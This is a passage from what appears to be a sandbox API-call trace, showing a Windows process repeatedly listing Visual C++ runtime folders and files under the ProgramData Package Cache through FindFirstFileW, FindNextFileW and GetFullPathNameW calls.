cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496fe967, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x49704b0b, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x49704b0b, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0217.596] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496fe967, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x49704b0b, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x49704b0b, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.596] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b40d00, ftCreationTime.dwHighDateTime=0x1cf3e1e, ftLastAccessTime.dwLowDateTime=0xc0b40d00, ftLastAccessTime.dwHighDateTime=0x1cf3e1e, ftLastWriteTime.dwLowDateTime=0xc0b40d00, ftLastWriteTime.dwHighDateTime=0x1cf3e1e, nFileSizeHigh=0x0, nFileSizeLow=0xf36be, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0217.596] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b40d00, ftCreationTime.dwHighDateTime=0x1cf3e1e, ftLastAccessTime.dwLowDateTime=0xc0b40d00, ftLastAccessTime.dwHighDateTime=0x1cf3e1e, ftLastWriteTime.dwLowDateTime=0xc0b40d00, ftLastWriteTime.dwHighDateTime=0x1cf3e1e, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0217.597] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.597] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0217.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d760) returned 1 [0217.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d720) returned 1 [0217.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d830) returned 1 [0217.597] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86", lpFilePart=0x0) returned 0x70 [0217.597] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496fe967, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x49704b0b, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x49704b0b, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.597] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496fe967, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x49704b0b, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x49704b0b, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.598] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b40d00, ftCreationTime.dwHighDateTime=0x1cf3e1e, ftLastAccessTime.dwLowDateTime=0xc0b40d00, ftLastAccessTime.dwHighDateTime=0x1cf3e1e, ftLastWriteTime.dwLowDateTime=0xc0b40d00, ftLastWriteTime.dwHighDateTime=0x1cf3e1e, nFileSizeHigh=0x0, nFileSizeLow=0xf36be, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0217.598] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b40d00, ftCreationTime.dwHighDateTime=0x1cf3e1e, ftLastAccessTime.dwLowDateTime=0xc0b40d00, ftLastAccessTime.dwHighDateTime=0x1cf3e1e, ftLastWriteTime.dwLowDateTime=0xc0b40d00, ftLastWriteTime.dwHighDateTime=0x1cf3e1e, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0217.598] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b40d00, ftCreationTime.dwHighDateTime=0x1cf3e1e, ftLastAccessTime.dwLowDateTime=0xc0b40d00, ftLastAccessTime.dwHighDateTime=0x1cf3e1e, ftLastWriteTime.dwLowDateTime=0xc0b40d00, ftLastWriteTime.dwHighDateTime=0x1cf3e1e, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0217.598] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d760) returned 1 [0217.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d720) returned 1 [0217.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0217.598] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508", lpFilePart=0x0) returned 0x53 [0217.598] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\*" (normalized: "c:\\users\\all users\\package cache\\{2bc3bd4d-faba-4394-93c7-9ac82a263fe2}v14.25.28508\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6502f6da, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6502f6da, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6502f6da, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0217.600] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6502f6da, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6502f6da, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6502f6da, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.600] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6502f6da, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6502f6da, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6502f6da, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0217.600] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6502f6da, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6502f6da, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6502f6da, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0217.600] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0217.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0217.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0217.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0217.600] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508", lpFilePart=0x0) returned 0x53 [0217.600] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\*" (normalized: "c:\\users\\all users\\package cache\\{2bc3bd4d-faba-4394-93c7-9ac82a263fe2}v14.25.28508\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6502f6da, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6502f6da, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6502f6da, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0217.601] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6502f6da, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6502f6da, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6502f6da, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.601] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6502f6da, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6502f6da, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6502f6da, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0217.602] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.602] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0217.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0217.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0217.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0217.602] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages", lpFilePart=0x0) returned 0x5c [0217.603] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{2bc3bd4d-faba-4394-93c7-9ac82a263fe2}v14.25.28508\\packages\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6502f6da, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6502f6da, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6502f6da, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.603] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6502f6da, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6502f6da, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6502f6da, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.603] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6502f6da, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6505595c, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6505595c, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0217.604] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6502f6da, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6505595c, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6505595c, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0217.604] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0217.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9dee0) returned 1 [0217.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0217.604] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages", lpFilePart=0x0) returned 0x5c [0217.604] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{2bc3bd4d-faba-4394-93c7-9ac82a263fe2}v14.25.28508\\packages\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6502f6da, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6502f6da, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6502f6da, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.605] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6502f6da, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6502f6da, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6502f6da, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.605] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6502f6da, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6505595c, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6505595c, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0217.605] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.605] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0217.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9dee0) returned 1 [0217.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d830) returned 1 [0217.605] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\vcRuntimeMinimum_x86", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\vcRuntimeMinimum_x86", lpFilePart=0x0) returned 0x71 [0217.606] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\vcRuntimeMinimum_x86\\*" (normalized: "c:\\users\\all users\\package cache\\{2bc3bd4d-faba-4394-93c7-9ac82a263fe2}v14.25.28508\\packages\\vcruntimeminimum_x86\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6502f6da, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6505595c, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6505595c, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5770 [0217.606] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6502f6da, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6505595c, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6505595c, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.606] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb21afe00, ftCreationTime.dwHighDateTime=0x1d5c5ba, ftLastAccessTime.dwLowDateTime=0xb21afe00, ftLastAccessTime.dwHighDateTime=0x1d5c5ba, ftLastWriteTime.dwLowDateTime=0xb21afe00, ftLastWriteTime.dwHighDateTime=0x1d5c5ba, nFileSizeHigh=0x0, nFileSizeLow=0x14de75, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0217.606] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec849b00, ftCreationTime.dwHighDateTime=0x1d5c5ba, ftLastAccessTime.dwLowDateTime=0xec849b00, ftLastAccessTime.dwHighDateTime=0x1d5c5ba, ftLastWriteTime.dwLowDateTime=0xec849b00, ftLastWriteTime.dwHighDateTime=0x1d5c5ba, nFileSizeHigh=0x0, nFileSizeLow=0x2f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0217.607] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.607] FindClose (in: hFindFile=0x1d1f5770 | out: hFindFile=0x1d1f5770) returned 1 [0217.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d760) returned 1 [0217.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d720) returned 1 [0217.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d830) returned 1 [0217.607] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\vcRuntimeMinimum_x86", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\vcRuntimeMinimum_x86", lpFilePart=0x0) returned 0x71 [0217.607] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\vcRuntimeMinimum_x86\\*" (normalized: "c:\\users\\all users\\package cache\\{2bc3bd4d-faba-4394-93c7-9ac82a263fe2}v14.25.28508\\packages\\vcruntimeminimum_x86\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6502f6da, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6505595c, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6505595c, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0217.608] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6502f6da, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6505595c, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6505595c, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.608] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb21afe00, ftCreationTime.dwHighDateTime=0x1d5c5ba, ftLastAccessTime.dwLowDateTime=0xb21afe00, ftLastAccessTime.dwHighDateTime=0x1d5c5ba, ftLastWriteTime.dwLowDateTime=0xb21afe00, ftLastWriteTime.dwHighDateTime=0x1d5c5ba, nFileSizeHigh=0x0, nFileSizeLow=0x14de75, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0217.608] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec849b00, ftCreationTime.dwHighDateTime=0x1d5c5ba, ftLastAccessTime.dwLowDateTime=0xec849b00, ftLastAccessTime.dwHighDateTime=0x1d5c5ba, ftLastWriteTime.dwLowDateTime=0xec849b00, 